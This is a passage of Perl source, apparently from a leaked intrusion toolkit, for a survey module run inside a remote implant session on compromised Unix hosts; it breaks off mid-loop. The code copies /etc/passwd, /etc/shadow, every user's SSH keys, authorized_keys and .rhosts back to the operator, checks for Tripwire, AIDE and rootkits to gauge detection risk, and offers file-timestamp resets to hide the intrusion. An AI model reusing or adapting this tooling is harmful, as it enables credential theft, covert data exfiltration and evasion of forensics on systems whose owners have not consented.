$linuxtarget = $nopen_serverinfo =~ /linux/i + unless $linuxtarget; + + ($solaristarget,$junk,$solaristargetversion) + = $nopen_serverinfo =~ /((sunos|solaris)\s*([\d\.]*))/i; + # Use the 2.* nomenclature for solaris, to match + # what our tarball VERSION files use. + $solaristargetversion =~ s/^5/2/g; + + $inteltarget = $nopen_serverinfo =~ /[i3456x]+86/; + + ($sparctarget) = $nopen_serverinfo =~ /((sparc|sun4[umc])\S*)/; + + $sol10target = $nopen_serverinfo =~ /5.10/i + unless $sol10target; + + $aixtarget = $nopen_serverinfo =~ /aix/i + unless $aixtarget; + + $findfile = "$opdown/cmdout/$nopen_rhostname-find"; + + @nonbuiltins = ("egrep", + "find", + "netstat", + "oslevel", + "lslpp", + "genkex", + "lscfg", + "lsattr", + "bootinfo", + "prtconf", + "ksyms", + "eeprom", + "isainfo", + "isalist", + "pkginfo", + "psrinfo", + "showrev", + "nslookup", + ); + @surveytypes = ("gets", + "ls", + "ssh", + "spooftest", + "tripwire", + "rootkit", + "ident", + "dns", + "hardware", + "checksyslogs", + "histories", + ); + %surveysalreadydone = (); + if (chomp($partsdonesofar = + `cd $optmp ; ls -alrt .survey*done.$nopen_rhostname 2>/dev/null| awk '{print \$8,\$9}'`."\n")) { + my @lines = split(/\n/,$partsdonesofar); + foreach (@lines) { + $surveysalreadydone{$1}++ + if /\.survey\.(\S+)done/; + } + } + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=survey\" is used. + +"; + # -p is now just ignored, but allow it anyway + $getoptsletters = "hvdbYOpT:Ff"; + $gsusagetext=" +Usage: $prog + +$prog surveys a remote unix host via NOPEN. This interactive version +replaced the old script c. Dec 2008. Unless -O is used, $prog will not +repeat sections of the survey done previously during this op on this host. + +Default mode uses some NON BUILTINS (target binaries, varies by platform):$COLOR_FAILURE\n "; + my $width = 3; + foreach (@nonbuiltins) { + $width += length($_) + 1; + if ($width > 78) { + $width = 3; + $gsusagetext .= "\n "; + } + $gsusagetext .= " $_"; + } + $gsusagetext .= "$COLOR_NORMAL + +OPTIONS + -h Show this help (this is default without the -p option) + -v Show version + -b Perform ONLY NOPEN built-ins (e.g., if process accounting) + -Y Skip any informational pauses. You will still be prompted + if something urgent shows up. + -F Force prompts for ALL collects (default is automatic downloads for + all but hardware section, i.e. /boot on Linux) + -f Force hardware section download also (i.e., /boot on Linux) + -T max Max collect, in Megs, on wire (-gs bwsofar) to allow [default 50M] + -O Repeat (do Over) the sections previously completed\n"; + foreach my $type (@surveytypes) { + my $name = uc $type; + my $index=0; + while (1) { + $ltr = uc substr($type,$index,1); + last unless ($getoptsletters =~ /$ltr/); + $index++; + if ($index >= length($type)) { + my $index2 = 0; + my $ltrs = + "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + while (1) { + $ltr = substr($ltrs,$index2++,1); + next if ($getoptsletters =~ /$ltr/); + mydie("TOO MANY OPTIONS, \@surveytypes is too big") + if $index2 >= length($ltrs); + last; + } + last; + } + } + $getoptsletters .= $ltr; + $gsusagetext .= " -$ltr Skip the $name section\n"; + } + $gsusagetext .= " +Usage: $prog + +"; +#mydie("ARGV=(@ARGV) h=$opt_h v=$opt_v d=$opt_d b=$opt_b p=$opt_p x=$opt_x"); + mydie("bad option(s)") if (! Getopts( $getoptsletters ) ) ; + $maxbw = $opt_T; + $maxbw = 50 unless $maxbw; + $forcepull = $opt_F ? "" : "Y"; + $forcepull2 = ($forcepull and $opt_f) ? "Y" : ""; + mydie("-T $maxbw must be a positive integer") + unless ($maxbw > 0 and $maxbw == int($maxbw)); + my $bwsofar = (bwsofar())[0]; + if ($bwsofar >= $maxbw) { + my $more = int(2 * $bwsofar); + my $default = "DEFAULT " if ($maxbw == 50); + offerabort($COLOR_FAILURE."\n\n${default}BANDWIDTH LIMIT (${maxbw}M) exceeded (so far this op, bw = ${bwsofar}M)\n". + $COLOR_NORMAL."\n\n". + "If you continue, some of the automatic pulls =survey usually does will not\n". + "be done. If you abort and use the option -T$more, =survey will pull them.". + "", + "ABORT"); + + } +# mydie("bad option(s)") if (! getopts( "hvdbp" ) ) ; + foreach my $type (@surveytypes) { + my ($ltr) = $type =~ /^(.)/; + $ltr = uc $ltr; + my $optstr = "opt_$ltr"; + $skip{$type} = eval $$optstr; + } + $doover = $opt_O; + unless ($doover) { + foreach my $type (@surveytypes) { + $skip{$type}++ if -s "$optmp/.survey.${type}done.$nopen_rhostname"; + } + } + $nopauses = $opt_Y; + # No longer requiring -p, just ignore it though. +# $opt_h++ unless $opt_p; + $builtinsonly = $opt_b; + ($minus,$caret,$skipping,$notbuiltincomment) = ("","^","","# BUILTIN NOT USED HERE BY DEFAULT"); + if ($builtinsonly) { + $minus = "-"; + $caret = ""; + $skipping = "# SKIPPING in -b BUILTIN ONLY MODE: "; + $notbuiltincomment = ""; + } + $debug = $opt_d ; + usage() if ($opt_h or $opt_v) ; + + $socket = pilotstart(quiet); + $COLOR_MYYELLOW = "\033[3;43m"; + $COLOR_MYGREEN = "\033[3;42m"; + $COLOR_MYRED="\033[31;07m"; # This one is grey font red background + $COLOR_MYRED = "\033[33;41m"; # This one is yellow font red background + $REGEXP_NOTE = $COLOR_NOTE; + $REGEXP_MYRED = $COLOR_MYRED; + $REGEXP_MYGREEN = $COLOR_MYGREEN; + $REGEXP_MYYELLOW = $COLOR_MYYELLOW; + $REGEXP_NOTE =~ s,\[,\\\[,g; + $REGEXP_MYRED =~ s,\[,\\\[,g; + $REGEXP_MYGREEN =~ s,\[,\\\[,g; + $REGEXP_MYYELLOW =~ s,\[,\\\[,g; + +} +#myinit + +sub gsspooftest { + # autospooftest was written to stand alone, just call it with defaults. + dbg("Calling mydo(autospooftest);"); + mydo("autospooftest"); +} +#gsspooftest + +sub gsssh { + #dbg("Calling: my ($userlist,@userdirs) = parseuserdirs($nopen_rhostname,2000,the gsssh() survey);"); + my ($userlist,@userdirs) = parseuserdirs($nopen_rhostname,2000,"the gsssh() survey"); + #dbg("got ($userlist,@userdirs) from parseuserdirs()"); + unless (@userdirs) { + offerabort + ("$COLOR_FAILURE\n". + "No list of remote users....has the \"-gs auto\" (a.k.a. autodone) been\n". + "done yet? If not, you may want to abort here then re-run -gs survey\n". + "once autodone has completed.". + ""); + } + my @getfiles = (); + my $maxsize = 262144; + foreach my $dir (@userdirs) { + push(@getfiles, + "$dir/.ssh*", + "$dir/.rhosts", + "$dir/.shosts", + ); + } + push(@getfiles, + "/etc/ssh", + "/etc/sshd", + "/usr/local/etc/ssh", + "/usr/local/etc/sshd", +# TODO: "/path/to/more/keys/fun", + ); + nopenlss("-GYFM100000", + "/usr/local/cpanel/version", + "/etc/hostname", + "/etc/hosts*", + "/etc/inet/hosts*", + "/etc/*syslog*.conf", + "/etc/*/*syslog*.conf", + "/etc/inetd.conf", + "/etc/inet/inetd.conf", + "/etc/resolv.conf", + "/etc/passwd*", + "/etc/shadow*", + "/etc/master.passwd*", + "/etc/security/passwd*", + ) unless ($freebsdtarget); + + + #nopengetfiles("SIZEMAX=$maxsize",@getfiles); + nopenlss("-${forcepull}GM$maxsize",@getfiles); + progprint(".\n\n\n". + "Done pulling all files of at most $maxsize bytes, recursively,\n". + "from the following locations (for all users ~ in the passwd file):\n\n". + " ~/.ssh\n". + " ~/.rhosts\n". + " ~/.shosts\n". + " /etc/ssh\n". + " /etc/sshd\n". + " /usr/local/etc/ssh\n". + " /usr/local/etc/sshd\n". + "\n". + "List of paths and their users:\n\n". + $userlist. + ""); + offerabort( +" # TODO: Maybe add logic in the gsssh() section to also pull (unless already \n". +" # pulled) any ssh files in the -find that look good.... id_* ident key etc.\n". +"", + "C") unless $nopauses; +} +#gsssh + +sub gssshbad { + # This was the old autossh content. Not used here at all. + + my $ignorefind = 0; + my $useboth=0; + # $ignorefind=1; + my $showatime = 0; + my $showctime = 0; + my $showmtime = 1; + my $showswhat = ""; + my $first = ""; + if ($showmtime) { + $showswhat .= "/mtime"; + $first = "mtime" if (!$first); + } + if ($showatime) { + $showswhat .= "/atime"; + $first = "atime" unless $first; + } + if ($showctime) { + $showswhat .= "/ctime"; + $first = "ctime" unless $first; + } + $showswhat =~ s/^.// ; + my $lsargs = "-".substr($first,0,1); + $lsargs =~ s/a/u/ ; + $lsargs = "" if ($lsargs eq "-m") ; + unless ($showswhat =~ /\//) { + $showswhat = "and sorted by $showswhat"; + } else { + $showswhat .= " (sorted by $first)"; + } + my $forceredo = 0; + my $sshoutfile = "$optmp/.sshout.$nopen_rhostname"; + my $sshoutsortedfile = "$optmp/.sshout.sorted.$nopen_rhostname"; + unlink ("$optmp/.autosshdonegot.$nopen_rhostname", + "$optmp/.autosshdonelist.$nopen_rhostname", + "$optmp/.autosshdonegrep.$nopen_rhostname", + $sshoutfile, + $sshoutsortedfile, + ) if ($forceredo and !$debug); + my $gotbefore = -e "$optmp/.autosshdonegot.$nopen_rhostname"; + my $listedbefore = -e "$optmp/.autosshdonelist.$nopen_rhostname"; + my $greppedbefore = -e "$optmp/.autosshdonegrep.$nopen_rhostname"; + my $skipgets = 0; + mydie("Use -f to redo $prog on $nopen_rhostname") + if ($skipgets and $listedbefore); + my $skipthese = 0; + my $nosnapshot = 1; + my $pause = "# "; + # $pause = "-pause" unless $opt_p; + my $popups = 0 ; + my (@dodirs,%dodirs) = () ; + unlink("$optmp/.sshout","$optmp/.sshout.sorted"); + my $hardhomedirs = " /.*ssh* /root/.*ssh* /home/*/.*ssh* /*ssh* /root/*ssh* /home/*/*ssh* /usr/home/*/*ssh* /usr/home/*/.*ssh* /export/home/*/*ssh* /export/home/*/.*ssh* " ; + $hardhomedirsonly = " / /root /home/* /*/home/*" ; + my $defhomedirs = $hardhomedirsonly; + # foreach $tmpdir (split(/\s+/,$defhomedirs)) { + # $dodirs{$tmpdir}++ ; + # } + my $usefind = (!$ignorefind and -s "$opdir/$nopen_rhostname.find.SSH" and -r _) ; + if ($usefind) { + # Do this only if we are using the -find file. + if (-d "$opdown/$nopen_rhostname") { + progprint("Looking in $opdown/$nopen_rhostname for passwd files."); + my @passwdfiles = split(/\n/,`find $opdown/$nopen_rhostname 2>/dev/null| grep passwd`); + my %donesums = () ; + progprint("Parsing passwd files found (@passwdfiles)."); + foreach $passfile (@passwdfiles) { + chomp(my $sum = `sum $passfile`) ; + next if ($sum and $donesums{$sum}++) ; + if (open(IN2,"< $passfile")) { + while () { + next if /^\#/ ; # skip comments + split (/:/) ; + next unless ($_[5] =~ /^\//) ; # ignore if not path + $dodirs{dirname($_[5])."/*"}++ ; + } + close(IN2); + } + }#foreach $passfile + }#if -d "$opdown/$nopen_rhostname") + }#Look for passwd files or not? + @dodirs = keys (%dodirs) ; + # Defaults + # How long to retrieve in bytes + my $defmaxlength = 100000 ; + # How many to popup + my $defmaxviewed = 10 ; + # look where for ssh files + my $homedirfile = "$opetc/.homedirs.$nopen_rhostname" ; + if (! -e "$homedirfile") { + if (open(OUT2,"> $homedirfile")) { + print OUT2 "@dodirs\n"; + close(OUT2); + } else { + mydie("Unable to open > $homedirfile"); + } + } + mydie("Unable to open < $homedirfile") unless (open(IN2,"< $homedirfile")) ; + chomp($homedirs = ) ; + close(IN2) ; + foreach $tmpdir (split(/\s+/,$homedirs)) { + $dodirs{$tmpdir}++ ; + } + @dodirs = keys (%dodirs) ; + my $homedirs = " " ; + my $homedirsonly = " " ; + foreach (@dodirs) { + $homedirs .= "$_/.*ssh " unless (/^\/dev/ or "$hardhomedirs$homedirs" =~ / $_\/.*ssh /) ; + $homedirsonly .= "$_ " unless (/^\/dev/ or "$hardhomedirsonly$homedirsonly" =~ / $_ /) ; + } + $homedirs =~ s/\s+/ /g ; + $homedirs =~ s/^\s*(.*)\s*$/\1/g ; + $homedirs =~ s/\/+/\//g ; + $homedirsonly =~ s/\s+/ /g ; + $homedirsonly =~ s/^\s*(.*)\s*$/\1/g ; + $homedirsonly =~ s/\/+/\//g ; + if (open(OUT2,"> $homedirfile")) { + print OUT2 "$homedirsonly\n"; + close(OUT2); + } else { + mydie("Unable to open > $homedirfile second time"); + } + + + my $maxlength = $defmaxlength ; + my $maxviewed = $defmaxviewed ; + my $sshfindfile = "" ; + if ($ignorefind) { + progprint("Ignoring $nopen_rhostname-find if it is there, using -ls mode instead."); + } elsif (my $size = -s "$opdir/$nopen_rhostname.find.SSH" and -r _) { + $sshfindfile = "$opdir/$nopen_rhostname.find.SSH"; + progprint("\n\n\nFound -find.SSH output: $sshfindfile\n\n"); + progprint("It is $size bytes, searching it may take a while.\n\n") + if ($size > 30000000); + # Skip NULL pass unless we need to run the -ls commands + # $pass = 2 unless $useboth; + # Side effect of this next line is making the .sshout.sorted file. + # @allsshfiles we're not actually using. + my @allsshfiles = split(/\n/,`grep "\/.*ssh" $sshfindfile | lss -S | tee $sshoutsortedfile | cut -c 14-999`); + `touch $optmp/.autosshdonegrep.$nopen_rhostname`; + `touch $optmp/.autosshdonelist.$nopen_rhostname`; + # @knownhosts = map { s/[^\/]*\//\// } (grep { /\/.*known.*hosts/ } @allsshfiles); + # @binssh = map { s/[^\/]*\//\// } (grep { /\/.*bin.*ssh/ } @allsshfiles); + } else { + progprint("We need to list out their ssh files"); + } + + if ( #!$useoldfiles and + !$listedbefore and + (!$sshfindfile or $useboth)) { + # so either we do not have a *-find or they want to look both on target + # with -ls and in the *-find. + # TODO: Maybe if we save the .sshout files per host, and it's newer than the + # ??? we can reuse old ones? Maybe for -find? + progprint("\n\n\nThis can take a while on a large file system.\n\n\n", + $COLOR_FAILURE); + `echo -e "\n\n# BREAK\n\n" >> $sshoutsortedfile`; + my $perline = 3; + my $nextone = ""; + foreach (split(/\s+/,"$hardhomedirs $homedirs")) { + $perline--; + $nextone .= " $_"; + if ($perline == 0) { + push(@targdirs,$nextone); + $nextone = ""; + $perline = 3; + } + } + push(@targdirs,$nextone) if $nextone; + for $targdir (@targdirs) { + doit("-ls $lsargs -i $targdir >> L:$sshoutfile"); + } + open(IN,"cat $sshoutfile | lss -s | lss -S | tee $sshoutsortedfile |") + or mydie("Cannot open pipe:\n". + " cat $sshoutfile | lss -s | lss -S | tee $sshoutsortedfile |"); + `touch $optmp/.autosshdonelist.$nopen_rhostname`; + } else { + mydie("Cannot open $sshoutsortedfile for read") + unless open(IN,"< $sshoutsortedfile"); + } + unless ($skipgets) { + $afterbreak = 0 ; + mydie("cannot open $optmp/.sshlater for write: $!") + unless (open(LATER,"> $optmp/.sshlater")); + while () { + next if ($nosnapshot and /\.snapshot/) ; + next if ($skipthese and /$skipthese/); + if (/^. BREAK$/) { + $afterbreak++; + next; + } + ($stamp,$inode,$type,$length) = /(\d{4}\d+)\s*:\s*(\d+)\s*(.)\S*\s*\S*\s*\S*\s*\S*\s*(\d*)/ ; + next unless $type eq "-" ; # skip links/dirs/etc + #dbg($_); + my ($year,$mon,$mday,$hr,$min) = $stamp =~ /(\d{4})(\d\d)(\d\d)(\d\d)(\d\d)/ ; + my ($stamp,$inode,$stuff,$mtime,$atime,$ctime,$file) = () ; + if ($sshfindfile and !$afterbreak) { + ($stamp,$inode,$stuff,$mtime,$atime,$ctime,$file) = + /(\d{4}\d+):\s*(\d+)\s*([^\|]*)\s*\|\s*([^\|]*)\s*\|\s*([^\|]*)\s*\|\s*([^\|]*)\s*\|\s*[^\/]*(\/.*)/ ; + } else { + ($stamp,$inode,$stuff,$file) = + /(\d{4}\d+):\s*(\d+)\s*([^\/]*)\s*(\/.*)/ ; + } + my $times= ""; + unless ($afterbreak) { + if ($mtime or $atime or $ctime) { + $times .= "|m $mtime" unless (!$showmtime and ($showatime or $showctime)); + $times .= "|a $atime" if $showatime; + $times .= "|c $ctime" if $showctime; + } + $times =~ s/^\|[mac] // unless + $times =~ /\|[ma] .*\|[ac] / ; + } + print LATER "$stuff$times $file\n"; + # push(@binssh,$_) if ($file =~ /\/.*bin.*ssh/ ) ; + if ($file =~ /\/.*known.*hosts/) { + $length{$file} = $length; + push(@knownhosts,$file) ; + } elsif ($file =~ /\/.*authorized.*keys/) { + $length{$file} = $length; + push(@authkeys,$file) ; + } elsif ($file =~ /\/.*identity/) { + $length{$file} = $length; + push(@identities,$file) ; + } + } + my $counthosts = @knownhosts; + my $countkeys = @authkeys; + my $countids = @identities; + my $max = maxof($counthosts,$countkeys,$countids); + my $ans = -1; + while ($max > 20 and ($ans < 0 or $ans =~ /\D/)) { + # $ans = getinput(" + ($shortans,$ans) = mygetinput(" +That's a lot of files! + +File Type Count + +known.*hosts $counthosts +authorized.*keys $countkeys +identity $countids + +Enter maximum count (of any one type) to get: [$max] "); + $ans = $max unless $ans; + if ($ans < $max) { + shift @knownhosts while @knownhosts > $ans; + shift @authkeys while @authkeys > $ans; + shift @identities while @identities > $ans; + $max=0; # drop out of while + } + } + close(IN); + close(LATER); + } + my @moreout = () ; + my $v = "" ; + $v = " -v" if $popups; # pop up window when getting first several + my $numviewed = 0; + my $multiplefiles = "" ; + @dowhich = (@knownhosts,@authkeys,@identities); + if ($gotbefore) { + mywarn("Skipping these -gets, done before:\n@dowhich") if @dowhich; + } else { + foreach $file (@dowhich) { + if ($maxlength and $length{$file} > $maxlength) { + progprint("Skipping $file (too long): maxlength is $maxlength"); + next ; + } + if ($popups and $v and ($maxviewed <= $numviewed)) { + progprint("Only popping up first $maxviewed windows...just downloading the rest",$COLOR_FAILURE); + doit("-get -q$v $multiplefiles") if (length $multiplefiles); + # push(@moreout,"-get -q$v $multiplefiles") if (length $multiplefiles); + $multiplefiles = ""; + $v = "" ; + } + unless ($skipgets or $gotfile{$file}++) { + $numviewed++ ; + $multiplefiles .= " $file" ; + if (length $multiplefiles > 512) { + # push(@moreout,"-get -q$v $multiplefiles") ; + doit("-get -q$v $multiplefiles") ; + $multiplefiles = ""; + } + # push(@moreout,"$pause Just got $file") ; + } + } + doit("-get -q$v $multiplefiles") + if (length $multiplefiles); + } + # if (@moreout) { + # doit("$pause Below is the sorted list of ssh files in $homedirs",); + # my $more = " (and popping up)" if $popups ; + # progprint("# Pulling$more known.*hosts and other config files"); + # doit(@moreout); + # } else { + # progprint("Above${COLOR_NORMAL} is the sorted list of ssh files in $homedirs,\n". + # "${COLOR_FAILURE}BUT NONE WERE known.*hosts files", + # $COLOR_FAILURE); + # } + # only get these if not gotten before + if (-e "$optmp/.autosshdone.$nopen_rhostname") { + mywarn("Skipping the ssh* and .ssh* -gets, done before"); + } else { + `touch $optmp/.autosshdonegot.$nopen_rhostname`; + foreach ("/etc","","/root", + #"/usr/local/etc","/usr/local" + ) { + if (1) { + #nopengetfiles("SIZEMAX=200000", + nopenlss("-YGM200000", + "$_/ssh*", + "$_/.ssh*"); + } else { + #dbg("-get -q $_/ssh*"); + #dbg("-get -q $_/.ssh*"); + } + } + } + foreach $path ("/usr/bin","/usr/sbin","/usr/local/bin") { + doit("-sha1sum $path/ssh*"); + } + my $fromwhere = "from "; + $fromwhere .= " both " if ($usefind and $useboth); + $fromwhere .= "the $nopen_rhostname-find file" unless !$usefind; + $fromwhere .= " and " if ($usefind and $useboth); + $fromwhere .= "remote -ls commands" if (!$usefind or $useboth); + ($sshversion,$nopenlines,@output) = doit("ssh -V") unless $builtinsonly; + ($output,$nopenlines,@output) = doit("sshd -V") unless $builtinsonly; + foreach (@output) { + next if /illegal option/i; + last if /usage/i; + $sshdversion.=$_; + } + if (my $listing = `lss $optmp/.sshlater 2>/dev/null`) { + progprint("\n\nListing of ssh files on target showing $showswhat.\n\n\n". + $listing. + "\n\nAbove is the sorted list of ssh files in:\n ". + "$COLOR_FAILURE$hardhomedirs $homedirs\n$COLOR_NORMAL". + "$fromwhere.", + $COLOR_NORMAL); + } else { + mywarn("PROBLEM: $optmp/.sshlater should not be empty"); + } + +} +#END gsssh + +sub gstripwire { + #nopengetfiles("SIZEMAX=200000", + nopenlss("-${forcepull}GYM200000", + "/etc/twcfg.txt", + "/etc/tw.config", + "/etc/twpol.txt", + "/opt/*/twcfg.txt", + "/opt/*/tw.config", + "/opt/*/twpol.txt", + "/usr/etc/twcfg.txt", + "/usr/etc/tw.config", + "/usr/etc/twpol.txt", + "/usr/local/etc/twcfg.txt", + "/usr/local/etc/tw.config", + "/usr/local/etc/twpol.txt", + "/usr/TSS/bin/twcfg.txt", + "/usr/TSS/policy/twpol.txt", + ); + nopenlss("-QU", + "/opt/*/lib/tw.db*", + "/opt/*/tw.db*", + "/tmp/twz*", + "/usr/lib/tw.db*", + "/var/lib/tripwire*", + "/usr/local/*bin/sig*", + "/usr/local/*bin/trip*", + "/usr/local/*bin/twadmin*", + "/usr/local/trip*", + "/usr/local/etc/trip*", + "/usr/local/tw*", + "/usr/local/etc/tw*", + "/usr/local/*bin/twprint*", + "/usr/local/lib/tw.db*", + "/usr/local/man/*4*/tw*", + "/usr/local/man/5*/twfiles*", + "/usr/local/man/*8*/trip*", + "/usr/man/*4*/tw*", + "/usr/man/5*/twfiles*", + "/usr/man/*8*/trip*", + "/usr/man/*8*/tw*", + "/usr/share/man/*4*/tw*", + "/usr/share/man/5*/twfiles*", + "/usr/share/man/*8*/sig*", + "/usr/share/man/*8*/trip*", + "/usr/share/man/*8*/tw*", + "/usr/TSS", + "/usr/TSS/bin", + "/usr/TSS/policy"); + # doit("-ls /opt/*/lib/tw.db* /opt/*/tw.db* /tmp/twz* /usr/lib/tw.db* /var/lib/tripwire*", +# "-ls /usr/local/*bin/sig* /usr/local/*bin/trip* /usr/local/*bin/twadmin*", +# "-ls /usr/local/trip* /usr/local/etc/trip* /usr/local/tw* /usr/local/etc/tw*", +# "-ls /usr/local/*bin/twprint* /usr/local/lib/tw.db* /usr/local/man/*4*/tw*", +# "-ls /usr/local/man/5*/twfiles* /usr/local/man/*8*/trip* /usr/man/*4*/tw*", +# "-ls /usr/man/5*/twfiles* /usr/man/*8*/trip* /usr/man/*8*/tw*", +# "-ls /usr/share/man/*4*/tw* /usr/share/man/5*/twfiles* /usr/share/man/*8*/sig*", +# "-ls /usr/share/man/*8*/trip* /usr/share/man/*8*/tw* /usr/TSS /usr/TSS/bin", +# "-ls /usr/TSS/policy"); + if ($solaristarget) { + doit("# aset", + "${minus}grep aset /var/spool/cron/crontabs/*",); + nopenlss("-R", + "/usr/aset", + ); + } + + my $recurse = ""; + $recurse = "r" if ($linuxtarget); + # Check for AIDE, chkrootkit, chkrtkt. + doit("# AIDE", + "${minus}grep -${recurse}i aide /etc/cron", + ); + nopenaddpath("/usr/local/bin","/usr/local/sbin"); + nopenlss("-FP", + "*aide*", + ); + nopenlss("-R", + "/var/lib/aide", + "/etc/aide", + ); + my ($outputa,$nopenlinesa,@outputa) = + doit("# AIDE-related files in find", + "-lsh egrep -i \"aide|chkrootkit|chkrtkt\" $findfile | grep -v Adelaide" + ); + if (my @rootkit = grep /chkr/,@outputa) { + offerabort($COLOR_FAILURE."\n\n ". + join("\n ",@outputa)."\n\n". + "The above needs looking at."); + } +} +#END gstripwire + +sub gsrootkit { + doit( + "# checksum some of the usual suspects", + "# We -ls first to see access times before we access them with our -sha1sum", + ); + my ($outputroot,$nopenlinesroot,@outputroot) = + nopenlss("-PU", + "modload", + ) if $solaristarget; + my ($outputroot,$nopenlinesroot,@outputroot) = + nopenlss("-PU", + "find", + "ls", + "netstat", + "ps", + "rm", + "sh", + "su", + "telnet", + "w", + "arp", + "find", + "telnet", + "w", + "ftpd", + "remshd", + "rlogind", + "telnetd", + "arp", + "*ftpd", + "*inetd", + "modinfo", + "netstat", + "*rlogind", + "*rshd", + "*telnetd", + "ps", + "login", + "/dev" + ); + my @filesfound = (); + processnopenls(\@filesfound,0,1,-1,$outputroot,$nopenlinesroot,@outputroot) ; + progprint($COLOR_FAILURE."\n\n". + "Following -touch -t commands can set atime and mtime times back to before\n". + "we got here, and ctimes can be found in:\n". + $cmdoutfile); + nopenlss("-nQU",@filesfound); + doit("-sha1sum @filesfound"); + offerabort("Pausing here to let you see the -sha1sum output above.\n". + "Simply re-do -gs survey if you abort here."); + my ($output,$nopenlines,@output) = doit + ( + "# the following is from chkrootkit and elsewhere", + "# libX.a rootkit", + "-ls -nR /usr/lib/libX.a", + "-ls -R /usr/lib/libX.a", + ) unless ($freebsdtarget); + ($output,$nopenlines,@output) = doit + ( + "# the following is from chkrootkit and elsewhere", + "# libX.a rootkit", + "-ls -n /usr/lib/libX.a", + "-ls /usr/lib/libX.a", + ) if ($freebsdtarget); + my ($foundrps) = grep m, /.*/rps$, , split(/\n+/,$output); + my ($foundnetstat) = grep m, /.*/netstat$, , split(/\n+/,$output); + my $fixpath = 0; + if ($foundnetstat =~ m, (/.*/netstat$),) { + offerabort("The libX.a rootkit is there. Will run rps and netstat if there.", + "CONTINUE"); + $foundnetstat = $1; + preservefile("$opdown/netstat.$nopen_rhostname.WITHlibX.a.netstat"); + # We keep this netstat in down/ not in targetcommands/, we tweaked it. + ($output,$nopenlines,@output) = doit("$foundnetstat -an ; $foundnetstat -rn >T:$opdown/netstat.$nopen_rhostname.WITHlibX.a.netstat"); + if (@output > 8) { + $fixpath++; + } else { + $foundnetstat = ""; + } + } else { + $foundnetstat = ""; + } + my ($changesmade,$newdir)=(); + if ($foundrps =~ m, (/.*/rps$),) { + $foundrps = $1; + $newdir = dirname($foundrps); + $newdir =~ s,/+$,,; + $newdir =~ s,\s*$,,; + $newdir =~ s,^\s*,,; + my ($newline,$oldline) = nopenaddalias("=ps",$foundrps,1,1); + my ($oldsyntax) = $oldline =~ /=ps=.*ps\s*(.*)/; + my ($runrps) = $newline =~ /=ps=([^\r\n]*)/; + preservefile("$opdown/ps.$nopen_rhostname.WITHlibX.a.rps"); + ($output,$nopenlines,@output) = + doit("$foundrps $oldsyntax >T:$opdown/ps.$nopen_rhostname.WITHlibX.a.rps"); + my $looksbad = 1 if scalar @output < 5; + $looksbad++ if $output =~ /cannot find.* in ISA/; + my ($default,$morebad) = ("Y",""); + $fixpath++ unless $looksbad; + if ($looksbad) { + $default = "N"; + $morebad = "$COLOR_FAILURE\n(Default is NO as the ps output above looks bad.)$COLOR_NORMAL\n"; + } + my $morenetstat = "The libX.a/bin/netstat -an & -rn output is above\n". + "(also saved locally to $opdown/netstat.$nopen_rhostname.WITHlibX.a.netstat)\n" + if $foundnetstat; + my ($ans,$longans) = mygetinput + ( + $morenetstat. + "NEW ALIAS WOULD BE: $COLOR_NOTE $newline$COLOR_NORMAL\n". + $morebad. + "Do you want to change the =ps alias to the new one above?",$default + ); + if ($ans eq "y") { + nopenaddalias("=ps",$foundrps,1); + $changesmade++; + $fixpath++; + } + } + if ($fixpath and $newdir) { + my $morenetstats = "?"; + $morenetstats = "\n(the above netstats seemed to work)?" + if $foundnetstat; + my ($ans,$longans) = mygetinput + ("Do you want to add $newdir to your path in\n". + "this and future windows on $nopen_rhostname". + $morenetstats, + "Y" + ); + $allwindows = 1; # Set true so nopenaddpath is used in all windows + if ($ans eq "y") { + nopenaddpath($newdir); + $changesmade++; + } + } + offerabort + ("Your PATH and/or =ps alias were just modified. Any new sessions to\n". + "$nopen_rhostname will inherit these new settings. \n\n". + "For this to take effect in your other windows currently on this target, run\n". + "\"-gs auto\" in those windows.", + "CONTINUE" + ) if $changesmade; + + doit( + "# Ramen Worm", + "${minus}grep ${caret}asp /etc/inetd.conf", + "${notbuiltincomment}-grep ${caret}asp /etc/inet/inetd.conf", + + "# Various network backdoors", + "${skipping}netstat -an | egrep '(^tcp.*LISTEN|^udp)' | egrep '(114 |145 |465 |511 |600 |1008 |1524 |1999 |2881 |3133 |3879 |4369 |5665 |10008 |12321 |23132 |27374 |29364 |31336 |31337 |45454 |47017 |47889 |60001 )'", + + "# adore or knark Linux Kernel Module", + "${skipping}egrep -i '(adore|knark)' /proc/ksyms ", + "${notbuiltincomment}-grep -i 'adore' /proc/ksyms ", + "${notbuiltincomment}-grep -i 'knark' /proc/ksyms ", + + "# misc suspicious files", + "${skipping}find /dev -type f", + + "# the following is from RootKit für SunOS by NSDAP", + + "# ulogin trojan", + "-ls /bin/xlogin /sbin/xlogin", + + "# Uni-PS trojan by {MANIAC}", + "-ls /lib/ldlibps.so", + + "# t0rnkit v7 or rip rootkit", + "-ls /usr/src/.puta /usr/info/.t0rn /usr/src/linux/arch/alpha/lib/.lib", + + "# X-Org Linux rootkit", + "-ls /lib/security/.config", + + "# RameN Worm ", + "-ls /usr/src/.poop", + + "# aPa rootkit", + "-ls /usr/share/.aPa", + + "# dua rootkit", + "-ls /usr/bin/duarawkz /usr/bin/duarawkz/loginpass", + + "# sshd trojan (look in /etc/rc2)", + "-ls /usr/lib/dmis/dmisd", + + "# misc directories", + "-ls -d /var/run/.tmp /usr/man/man1/lib/.lib /bin/... /usr/share/man/mansps", + + "# the following is from chkrootkit", + + "# misc suspicious files", + "-ls /var/run/.tmp /usr/man/man1/lib/.lib /usr/man/man2/.man8 /usr/man/man1/..\\\ *", + + "# TeLeKiT telnetd trojan", + "-ls /usr/info/libc1.so", + ); + tickleifneedbe($builtinsonly); + + # Split off all the /dev/ stuff. We do not want to refer to anything in /dev + # directly as that can try to load modules. Just a single -ls of /dev, + # then we parse that looking for our hits. Note this does not recurse /dev/. + my ($outputdev,$nopenlines,@outputdev) = + nopenlss("-U", + "/dev" + ); + my %devlookfor = + ( + "# TeLeKiT telnetd trojan", + "hda06", + + "# tribe bot", + "wd4", + + "# Danny-Boys Abuse Kit", + "mdev", + + "# langsuir", + "ptyas", + + "# misc directories", + "portd|/\\.\\.\\.|\\.lib", + + "# misc files", + "ptyy|ptyu|ptyq|ptyv|hdbb", + ); + my $devoutput = ""; + foreach my $comment (keys %devlookfor) { + my $str = $devlookfor{$comment}; + my ($more,$es) = (); + foreach my $line 